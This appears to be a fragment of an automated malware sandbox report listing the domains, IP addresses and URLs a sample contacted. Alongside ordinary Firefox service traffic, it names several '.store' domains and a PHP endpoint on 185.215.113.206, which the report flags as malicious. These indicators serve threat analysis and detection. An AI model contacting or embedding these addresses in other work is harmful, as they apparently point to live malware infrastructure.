15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
ipv4only.arpa 192.0.0.170 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
necklacedmny.store 188.114.96.3 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.185.78 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
spocs.getpocket.com unknown unknown
detectportal.firefox.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
presticitpo.store unknown unknown
thumbystriw.store unknown unknown
shavar.services.mozilla.com unknown unknown
crisiwarny.store unknown unknown
fadehairucw.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown
      http://185.215.113.206/6c4adf523b719729.php true
        		unknown
        founpiuer.store true
          		unknown
          presticitpo.store true
            		unknown
            navygenerayk.store true
              		unknown